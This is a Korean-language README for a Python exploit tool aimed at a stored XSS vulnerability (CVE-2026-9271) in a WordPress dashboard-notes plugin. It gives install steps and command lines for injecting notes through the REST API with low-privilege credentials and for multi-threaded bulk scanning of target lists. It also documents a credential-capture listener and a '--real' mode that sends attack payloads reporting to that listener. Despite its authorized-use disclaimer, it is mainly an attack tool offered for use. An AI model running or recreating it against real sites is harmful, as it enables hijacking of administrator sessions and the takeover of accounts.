
WordPress KeepInMind 플러그인의 CVE-2026-9271에 대한 인가된 저장형 XSS 평가 도구입니다. 취약한 버전을 탐지하고, 안전한 테스트 페이로드를 주입하며, SQLite 보고와 함께 대량 스캔을 지원합니다.
CVE-2026-9271용 공인 보안 평가 도구
저자: Sudeepa Wanigarathna · 도구: KIM-Guardian Pro v1.0
메인 스크립트: CVE-2026-9271.py
[!IMPORTANT] 승인된 사용 전용. 이 도구는 보안 연구, 교육, 그리고 본인이 소유했거나 명시적인 서면 승인을 받은 시스템의 테스트를 위한 것입니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 오용에 대한 어떠한 책임도 지지 않습니다.
CVE-2026-9271은 WordPress KeepInMind(Dashboard Notes) 플러그인의 저장형 크로스 사이트 스크립팅(XSS) 취약점입니다. 메모 콘텐츠의 불충분한 검증으로 인해 낮은 권한의 인증된 사용자(Contributor+)가 관리자 브라우저에서 실행되는 HTML/JS를 저장할 수 있으며, 이는 관리자 세션 탈취 / 계정 장악으로 이어질 수 있습니다.
KIM-Guardian Pro(CVE-2026-9271.py)는 승인된 테스터를 위한 Python 평가 도구로, 다음을 수행할 수 있습니다:
reports/ 아래 텍스트 보고서로 저장| 속성 | 값 |
|---|---|
| CVE ID | CVE-2026-9271 |
| 공격 벡터 | 인증됨 (Contributor+) → 저장형 XSS → 관리자 영향 |
| 영향 | 관리자 브라우저 XSS; 취약한 설치 환경에서 잠재적 계정 장악 |
| 영향을 받는 제품 | WordPress KeepInMind / KeepInMind Dashboard Notes |
| 영향을 받는 버전 | ≤ 0.8.4.2 (**0.8.4.3+**에서 패치됨) |
| 취약점 유형 | 저장형 크로스 사이트 스크립팅 (XSS) |
| CWE | CWE-79 (웹 페이지 생성 중 입력의 부적절한 중화) |
| 표면 | 역할 |
|---|---|
/wp-json/keepinmind/v1/notes | 메모 생성/읽기에 사용되는 REST API |
/wp-admin/ | 저장된 메모가 렌더링될 수 있는 관리자 대시보드 |
| 플러그인 경로 | /wp-content/plugins/keepinmind-dashboard-notes/ |
--no-cleanup이 아닌 경우)| 기능 | 설명 |
|---|---|
| 플러그인 탐지 | KeepInMind 설치 경로 및 버전 문자열 확인 |
| WordPress 버전 | 가능한 경우 generator/버전 메타데이터 추출 |
| 안전한 테스트 모드 | 자격 증명을 캡처하지 않고 XSS를 증명하는 기본 오버레이 마커 |
| 인증 평가 | 전체 REST 주입을 위해 Contributor+ 자격 증명으로 로그인 |
| 페이로드 정리 | 평가 후 주입된 메모 제거 |
| 대량 스캔 | 플러그인 및 취약 버전에 대한 다중 스레드 URL 목록 스캔 |
| SQLite 이력 | 평가를 kim_guardian.db에 저장 |
| 텍스트 보고서 | 타임스탬프가 포함된 보고서를 reports/에 작성 |
| 캡처 서버 | 랩 자격 증명 캡처 훈련을 위한 선택적 로컬 HTTP 리스너 |
| 웹 UI | 선택적 Flask 대시보드 (web 모드) |
| 기능 | 설명 |
|---|---|
| 상세 로깅 | logs/ 아래 파일 + 콘솔 디버그 |
| 프록시 지원 | Burp 또는 기타 HTTP 프록시를 통한 트래픽 라우팅 |
| 구성 가능한 타임아웃 | 요청별 타임아웃 (기본 30초) |
| 작업자 풀 | 대량 스캔을 위한 조정 가능한 동시성 |
pipcd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Recommended extras used by this script:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # optional — web mode only
https://lab.example을(를) 랩 또는 승인된 대상으로만 교체하세요.
# Help / modes
python3 CVE-2026-9271.py --help
# Safe single-target assessment (default: test payload)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# Bulk version / plugin scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# List recent assessments from SQLite
python3 CVE-2026-9271.py db --list --limit 20
# Local capture server (lab only)
python3 CVE-2026-9271.py capture --port 5000
# Optional web UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
기본 모드는 캡처하지 않는 테스트 오버레이를 사용합니다. REST API를 통한 주입을 위해 Contributor+ 자격 증명을 제공하세요.
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
워크플로우:
-u/-p가 제공된 경우)--no-cleanup이 아닌 경우)reports/kim_assessment_*.txt에 저장python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
공격자/캡처 기본 URL 및 --real이 필요합니다. 랩에서는 캡처를 localhost로 유지하는 것이 좋습니다.
# Terminal 1 — capture listener
python3 CVE-2026-9271.py capture --port 5000
# Terminal 2 — assessment with capture endpoint
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
캡처 UI (서버 실행 중일 때):
| 경로 | 용도 |
|---|---|
/ | 캡처 서버 상태 페이지 |
/capture | 양식 제출용 POST 엔드포인트 |
/captured | 최근 캡처된 항목 (랩 검토) |
# targets.txt — one URL per line
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# Or comma-separated URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
대량 검사에는 일반적으로 WordPress 힌트, KeepInMind 버전, REST 연결 가능 여부, wp-login.php 존재 여부가 포함됩니다.
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
보안을 위해 기본적으로 localhost에 바인딩됩니다.
| 모드 | 설명 |
|---|---|
assess | 단일 대상 KeepInMind 평가 |
bulk | 다중 대상 플러그인/버전 스캔 |
capture | 로컬 자격 증명 캡처 HTTP 서버 |
web | 선택적 Flask 웹 UI |
db | 저장된 평가 목록 표시 |
assess| 인자 | 기본값 | 설명 |
|---|---|---|
url | 필수 | 대상 WordPress URL |
-u, --username | — | WordPress 사용자 이름 (Contributor+) |
-p, --password | — | WordPress 비밀번호 |
-a, --attacker | — | 캡처 서버 기본 URL (랩 시뮬레이션) |
-t, --test | 켜짐 | 안전한 테스트 페이로드 선호 |
-r, --real | 꺼짐 | 랩 공격 페이로드 활성화 (--attacker 필요) |
--no-cleanup | 꺼짐 | 주입된 메모를 그대로 유지 |
-v, --verbose | 꺼짐 | 상세/디버그 로깅 |
--timeout | 30 | 요청 타임아웃 (초) |
--proxy | — | 프록시 URL (예: http://127.0.0.1:8080) |
bulk| 인자 | 기본값 | 설명 |
|---|---|---|
-f, --file | — | URL 목록 파일 (줄당 하나) |
-u, --urls | — | 쉼표로 구분된 URL |
-w, --workers | 5 | 스레드 풀 크기 |
-o, --output | bulk_scan_results.txt | 보고서 경로 |
capture| 인자 | 기본값 | 설명 |
|---|---|---|
--port | 5000 | 수신 포트 |
web| 인자 | 기본값 | 설명 |
|---|---|---|
--host | 127.0.0.1 | 바인딩 주소 |
--port | 8080 | 수신 포트 |
db| 인자 | 기본값 | 설명 |
|---|---|---|
--list | 꺼짐 | 최근 평가 목록 표시 |
--limit | 10 | 표시할 최대 행 수 |
인증, 플러그인 탐지, 주입, 검증 및 정리에 대한 색상화된 상태 표시.
성공적인 assess 실행은 다음과 같은 파일을 작성합니다: